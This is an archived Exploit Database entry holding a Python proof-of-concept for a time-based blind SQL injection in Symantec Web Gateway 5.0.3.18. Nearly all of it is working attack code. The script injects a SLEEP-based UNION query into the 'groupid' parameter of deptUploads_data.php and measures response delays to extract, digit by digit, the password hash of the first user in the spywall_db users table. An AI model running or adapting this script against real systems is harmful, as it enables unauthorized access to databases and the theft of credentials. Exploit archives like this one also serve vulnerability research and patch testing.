Symantec Web Gateway 5.0.3.18 – ‘deptUploads_data.php?groupid’ Blind SQL Injection

• Exploit Database
• 38 阅读

• 作者： Kc57
  日期： 2012-07-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/20123/

• #!/usr/bin/python
  # @_Kc57
  # Blind SQLi POC
  # Dumps out the first available hash in the users table of spywall_db
  
  import urllib
  import time
  from time import sleep
  
  timing='2.5'
  checks = 0
  
  def check_char(i, pos):
  	global timimg
  	global checks
  	checks += 1
  	url = 'https://192.168.200.132/spywall/includes/deptUploads_data.php?groupid=1 union select 1,2, IF (%s=conv(mid((select password from users),%s,1),16,10),SLEEP(%s),null);--' % (i,pos,timing)
  	start = time.time()
  	urllib.urlopen(url)
  	end = time.time()
  	howlong = end-start
  	return howlong
  
  def check_pos(pos):
  
  	for m in range(0,16):
  		output = check_char(m, pos)
  		print "[*] Character %s - Took %s seconds" % (hex(m)[2:],output)
  		if output > 2:
  			return hex(m)[2:]
  			
  
  md5 = ''
  start = time.time()
  for y in range(1,33):
  	print "Checking position %s" % (y)
  	md5 += check_pos(y)
  	print md5
  	end = time.time()
  	howlong = end-start
  
  print "1st hash:%s" % (md5)
  print "Found in %s queries" % (checks)
  print "Found in %s" %(howlong)